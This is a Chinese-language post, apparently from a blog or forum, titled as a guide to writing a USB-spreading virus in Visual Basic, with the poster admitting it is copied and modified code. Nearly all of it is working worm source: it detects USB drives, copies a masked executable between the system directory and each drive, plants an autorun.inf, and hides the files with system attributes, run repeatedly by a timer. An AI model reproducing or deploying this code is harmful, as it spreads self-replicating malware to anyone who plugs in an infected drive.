用vb编写U盘传播病毒

老实交代：我只是个copyer，做了部分修改和优化，版权归原作者所有
module中：
Option Explicit
Private Declare Function GetSystemDirectory Lib “kernel32” Alias “GetSystemDirectoryA” (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const Max_Path = 260
Private Declare Function GetLogicalDriveStrings Lib “kernel32” Alias “GetLogicalDriveStringsA” (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function GetDriveType Lib “kernel32” Alias “GetDriveTypeA” (ByVal nDrive As String) As Long
Private Const DRIVE_UNKNOWN = 0
Private Const DRIVE_NO_ROOT_DIR = 1
Private Const DRIVE_REMOVABLE = 2
Private Const DRIVE_FIXED = 3
Private Const DRIVE_REMOTE = 4
Private Const DRIVE_CDROM = 5
Private Const DRIVE_RAMDISK = 6
Private Declare Function CreateFile Lib “kernel32” Alias “CreateFileA” (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function CloseHandle Lib “kernel32” (ByVal hObject As Long) As Long
Private Const GENERIC_READ = &H80000000
Private Const FILE_SHARE_READ = &H1
Private Const OPEN_EXISTING = 3
Private Const FILE_SHARE_WRITE = &H2
Private Declare Function DeviceIoControl Lib “kernel32” (ByVal hDevice As Long, ByVal dwIoControlCode As Long, lpInBuffer As Any, ByVal nInBufferSize As Long, lpOutBuffer As Any, ByVal nOutBufferSize As Long, lpBytesReturned As Long, lpOverlapped As OVERLAPPED) As Long
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Enum STORAGE_PROPERTY_ID
StorageDeviceProperty = 0
StorageAdapterProperty
End Enum
Private Enum STORAGE_QUERY_TYPE
PropertyStandardQuery = 0
PropertyExistsQuery
PropertyMaskQuery
PropertyQueryMaxDefined
End Enum
Private Type STORAGE_PROPERTY_QUERY
PropertyId As STORAGE_PROPERTY_ID
QueryType As STORAGE_QUERY_TYPE
AdditionalParameters(0) As Byte
End Type
Private Type OVERLAPPED
Internal As Long
InternalHigh As Long
offset As Long
OffsetHigh As Long
hEvent As Long
End Type
Private Enum STORAGE_BUS_TYPE
BusTypeUnknown = 0
BusTypeScsi
BusTypeAtapi
BusTypeAta
BusType1394
BusTypeSsa
BusTypeFibre
BusTypeUsb
BusTypeRAID
BusTypeMaxReserved = &H7F
End Enum
Private Type STORAGE_DEVICE_DESCRIPTOR
Version As Long
Size As Long
DeviceType As Byte
DeviceTypeModifier As Byte
RemovableMedia As Byte
CommandQueueing As Byte
VendorIdOffset As Long
ProductIdOffset As Long
ProductRevisionOffset As Long
SerialNumberOffset As Long
BusType As STORAGE_BUS_TYPE
RawPropertiesLength As Long
RawDeviceProperties(0) As Byte
End Type
Private Const IOCTL_STORAGE_BASE As Long = &H2D
Private Const METHOD_BUFFERED = 0
Private Const FILE_ANY_ACCESS = 0
Public Function TellDriveType(ByVal sDriveLetter As String) As String
Select Case GetDriveType(sDriveLetter)
Case DRIVE_UNKNOWN
TellDriveType = “驱动器类型无法确定”
Case DRIVE_NO_ROOT_DIR
TellDriveType = “驱动器根目录不存在”
Case DRIVE_CDROM
TellDriveType = “光盘驱动器”
Case DRIVE_FIXED
TellDriveType = “固定驱动器”
Case DRIVE_RAMDISK
TellDriveType = “RAM盘”
Case DRIVE_REMOTE
TellDriveType = “远程（网络）驱动器”
Case DRIVE_REMOVABLE
If UCase$(Left$(sDriveLetter, 1)) = “A” or UCase$(Left$(sDriveLetter, 1)) = “B” Then
TellDriveType = “软盘”
Else
TellDriveType = “其他”
End If
TellDriveType = “可移动驱动器 – ” & TellDriveType
Case Else
TellDriveType = “未知”
End Select
TellDriveType = TellDriveType & ” – ” & GetDriveBusType(sDriveLetter) & “总线”
End Function
Private Function GetDisksProperty(ByVal hDevice As Long, utDevDesc As STORAGE_DEVICE_DESCRIPTOR) As Boolean
Dim ut As OVERLAPPED
Dim utQuery As STORAGE_PROPERTY_QUERY
Dim lOutBytes As Long
With utQuery
.PropertyId = StorageDeviceProperty
.QueryType = PropertyStandardQuery
End With
GetDisksProperty = DeviceIoControl(hDevice, IOCTL_STORAGE_QUERY_PROPERTY, utQuery, LenB(utQuery), utDevDesc, LenB(utDevDesc), lOutBytes, ut)
End Function
Private Function CTL_CODE(ByVal lDeviceType As Long, ByVal lFunction As Long, ByVal lMethod As Long, ByVal lAccess As Long) As Long
CTL_CODE = (lDeviceType * 2 ^ 16&) or (lAccess * 2 ^ 14&) or (lFunction * 2 ^ 2) or (lMethod)
End Function
Private Function IOCTL_STORAGE_QUERY_PROPERTY() As Long
IOCTL_STORAGE_QUERY_PROPERTY = CTL_CODE(IOCTL_STORAGE_BASE, &H500, METHOD_BUFFERED, FILE_ANY_ACCESS)
End Function
Public Function GetDriveBusType(ByVal sDriveLetter As String) As String
Dim hDevice As Long
Dim ut As SECURITY_ATTRIBUTES
Dim utDevDesc As STORAGE_DEVICE_DESCRIPTOR
hDevice = CreateFile(“\\.\” & sDriveLetter, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, ut, OPEN_EXISTING, 0, 0)
If hDevice <> -1 Then
utDevDesc.Size = LenB(utDevDesc)
Call GetDisksProperty(hDevice, utDevDesc)
Select Case utDevDesc.BusType
Case BusType1394
GetDriveBusType = “1394”
Case BusTypeAta
GetDriveBusType = “Ata”
Case BusTypeAtapi
GetDriveBusType = “Atapi”
Case BusTypeFibre
GetDriveBusType = “Fibre”
Case BusTypeRAID
GetDriveBusType = “RAID”
Case BusTypeScsi
GetDriveBusType = “Scsi”
Case BusTypeSsa
GetDriveBusType = “Ssa”
Case BusTypeUsb
GetDriveBusType = “Usb”
Case BusTypeUnknown
GetDriveBusType = “未知”
Case Else
End Select
Call CloseHandle(hDevice)
End If
End Function
Public Sub findUsbHardDisk()
On Error Resume Next
Dim r&, allDrives$, JustOneDrive$, pos%, DriveType&
Dim Diskfound%
Dim AllDiskID$
Dim retBusType$
allDrives$ = Space$(64)
r& = GetLogicalDriveStrings(Len(allDrives$), allDrives$)
allDrives$ = Left$(allDrives$, r&)
Do
pos% = InStr(allDrives$, Chr$(0))
If pos% Then
JustOneDrive$ = Left$(allDrives$, pos%)
pos% = InStr(JustOneDrive$, Chr$(0))
JustOneDrive$ = Mid$(JustOneDrive$, 1, pos% – 2)
allDrives$ = Mid$(allDrives$, pos% + 1, Len(allDrives$))
DriveType& = GetDriveType(JustOneDrive$)
If DriveType& = DRIVE_REMOVABLE Then
retBusType$ = GetDriveBusType(JustOneDrive$)
If retBusType$ = “Usb” Then
AllDiskID$ = AllDiskID$ & JustOneDrive$
Diskfound% = True
End If
End If
End If
Loop Until allDrives$ = “”
Dim pa As String
‘Dim fa As String
Dim ai As String
Dim ab As String
Dim sv As String
Dim so As String
Dim TempDir As String
TempDir = GetWinSysDir
ab = GetWinSysDir & “\autorun.inf”
so = GetWinSysDir & “\autorun.inf”
pa = AllDiskID$ & “\××.exe”
ai = AllDiskID$ & “\autorun.inf”
sv = GetWinSysDir & “\×××.exe”
If Diskfound% Then
If Dir(sv$, 7) = “” Then
If Not Dir(pa$, 7) = “” Then
FileCopy pa, sv
SetAttr sv, 7
SetAttr pa, 7
End If
Else
If Dir(pa$, 7) = “” Then
FileCopy sv, pa
SetAttr pa, 7
Else
SetAttr pa, 7
End If
End If
If Dir(ai$, 7) = “” Then
FileCopy so, ai
SetAttr ai, 7
Else
SetAttr ai, 0
Kill ai
FileCopy so, ai
SetAttr ai, 7
End If
If Not Dir(pa$, 7) = “” Then
SetAttr pa, 7
End If
If Not Dir(ai$, 7) = “” Then
SetAttr ai, 7
End If
‘ Else
End If
End Sub
Public Function GetWinSysDir()
Dim S As String, Length As Long
S = String(Max_Path, 0)
Length = GetSystemDirectory(S, Max_Path)
S = Left(S, InStr(S, Chr(0)) – 1)
GetWinSysDir = S
End Function
过程中调用timer控件
Private Sub Timer1_Timer()
On Error Resume Next
findUsbHardDisk
End Sub
inteval就随你设定了，只要不是0。